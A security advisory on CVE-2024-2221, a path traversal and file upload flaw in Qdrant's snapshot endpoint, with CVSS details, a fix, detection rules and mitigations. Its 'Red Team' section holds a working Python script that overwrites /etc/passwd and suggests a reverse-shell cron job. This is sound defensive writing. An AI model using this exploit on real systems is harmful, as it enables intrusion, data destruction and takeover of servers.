CVE-2024-2221

Executive Summary

CVE-2024-2221 is a critical vulnerability in Qdrant, an open-source vector database. The flaw resides in the /collections/{COLLECTION}/snapshots/upload endpoint, where the snapshot parameter is not properly sanitized. This allows an unauthenticated attacker to perform path traversal and arbitrary file upload, potentially overwriting critical system files and achieving remote code execution (RCE). With a CVSS score of 9.8, this vulnerability poses a severe risk to the confidentiality, integrity, and availability of affected systems. No public exploit code or patch details are currently available, but the attack vector is clear and easily weaponizable.

Supply Chain & Package Security

Qdrant is distributed as a Docker image and a Python package (qdrant-client). While the client library is not directly vulnerable, the server component is. Organizations using Qdrant in their infrastructure should immediately assess their deployment and apply any available mitigations. The lack of a patch from the vendor increases the risk of supply chain attacks if malicious actors compromise the build pipeline or distribute tampered images.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

This vulnerability is trivially exploitable over the network without authentication, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic path traversal combined with arbitrary file upload. The endpoint /collections/{COLLECTION}/snapshots/upload is designed to accept snapshot files for a given collection. However, the snapshot parameter (likely a multipart form field or query parameter) is not validated to ensure it stays within the intended upload directory.

An attacker can craft a request where the snapshot parameter contains path traversal sequences (e.g., ../../etc/passwd or ../../opt/qdrant/config.yaml). The server then writes the uploaded file content to the attacker-specified path, overwriting existing files. This can lead to:

• Remote Code Execution: Overwriting executable files, configuration files, or libraries (e.g., ld.so.preload, cron jobs, or Qdrant's own binaries).
• Denial of Service: Overwriting critical system files (e.g., /etc/passwd, /etc/shadow) causing the system to become unbootable.
• Privilege Escalation: Overwriting sudoers or other privilege-related files.

The vulnerability is particularly dangerous because Qdrant often runs as root inside Docker containers, giving the attacker full control over the container and potentially the host if not properly isolated.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The likely vulnerable code in the snapshot upload handler (pseudo-code):

# VULNERABLE
def upload_snapshot(collection, snapshot_file):
    path = f"/snapshots/{collection}/{snapshot_file.filename}"
    with open(path, "wb") as f:
        f.write(snapshot_file.read())

The fix would involve:

# PATCHED
import os
def upload_snapshot(collection, snapshot_file):
    safe_path = os.path.realpath(f"/snapshots/{collection}/{snapshot_file.filename}")
    if not safe_path.startswith(os.path.realpath(f"/snapshots/{collection}/")):
        raise ValueError("Invalid path")
    with open(safe_path, "wb") as f:
        f.write(snapshot_file.read())

The patched code uses os.path.realpath to resolve any path traversal sequences and then checks that the resolved path is within the intended directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Qdrant instance (e.g., Docker: docker run -p 6333:6333 qdrant/qdrant)
• Python 3 with requests library

Exploit Script:

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:6333"
collection = "test_collection"

# Create a collection first (may not be necessary if it exists)
requests.put(f"{target}/collections/{collection}")

# Upload a malicious snapshot to overwrite /etc/passwd
files = {
    "snapshot": ("../../etc/passwd", "root:x:0:0:root:/root:/bin/bash\n", "application/octet-stream")
}
r = requests.post(f"{target}/collections/{collection}/snapshots/upload", files=files)
print(f"Status: {r.status_code}")
print(f"Response: {r.text}")

To achieve RCE: Overwrite a cron job or a systemd service file. For example, overwrite /etc/cron.d/malicious with a script that executes a reverse shell.

Blue Team

Detection:

• Monitor for POST requests to /collections/*/snapshots/upload with unusual snapshot filenames containing ../ or absolute paths.
• Alert on any file writes outside the expected snapshot directory (e.g., /snapshots/).
• Use file integrity monitoring (FIM) on critical system files.

Hunting:

• Search logs for snapshot parameter values containing .. or /.
• Check for unexpected files in /etc/, /opt/, /usr/bin/, etc.

Indicators of Compromise (IOCs)

• Network: POST requests to /collections/*/snapshots/upload with snapshot parameter containing ../ or absolute paths.
• File System: Unexpected files in /etc/, /opt/qdrant/, /usr/local/bin/, or other sensitive directories.
• Process: Unusual processes spawned by the Qdrant service (e.g., reverse shells, crypto miners).
• Logs: Qdrant access logs showing path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2024_2221_Qdrant_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Qdrant snapshot upload requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2221"
    strings:
        $path_traversal = /\.\.\// nocase
        $snapshot_upload = "/snapshots/upload" nocase
    condition:
        $snapshot_upload and $path_traversal
}

Sigma Rule

title: Qdrant Path Traversal via Snapshot Upload
id: 7b8c3d2e-1f4a-5b6c-7d8e-9f0a1b2c3d4e
status: experimental
description: Detects path traversal attempts in Qdrant snapshot upload requests
author: Valters IT
logsource:
    category: webserver
    product: qdrant
detection:
    selection:
        http.method: "POST"
        http.url|contains: "/snapshots/upload"
        http.body|contains: ".."
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-2221 Qdrant Path Traversal Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/snapshots/upload";
    http.client_body; content:"..";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Qdrant instances: Place them behind a firewall or reverse proxy that restricts access to the snapshot upload endpoint.
2. Disable snapshot upload: If not needed, block the endpoint at the network level (e.g., using Nginx or iptables).
3. Apply least privilege: Run Qdrant as a non-root user with minimal filesystem write permissions.
4. Monitor logs: Enable detailed logging and alert on any suspicious POST requests to the snapshot endpoint.

Long-term Fix:

• Wait for an official patch from Qdrant. Monitor their GitHub repository and security advisories.
• Once patched, update to the latest version immediately.
• Consider using a Web Application Firewall (WAF) with rules to block path traversal patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence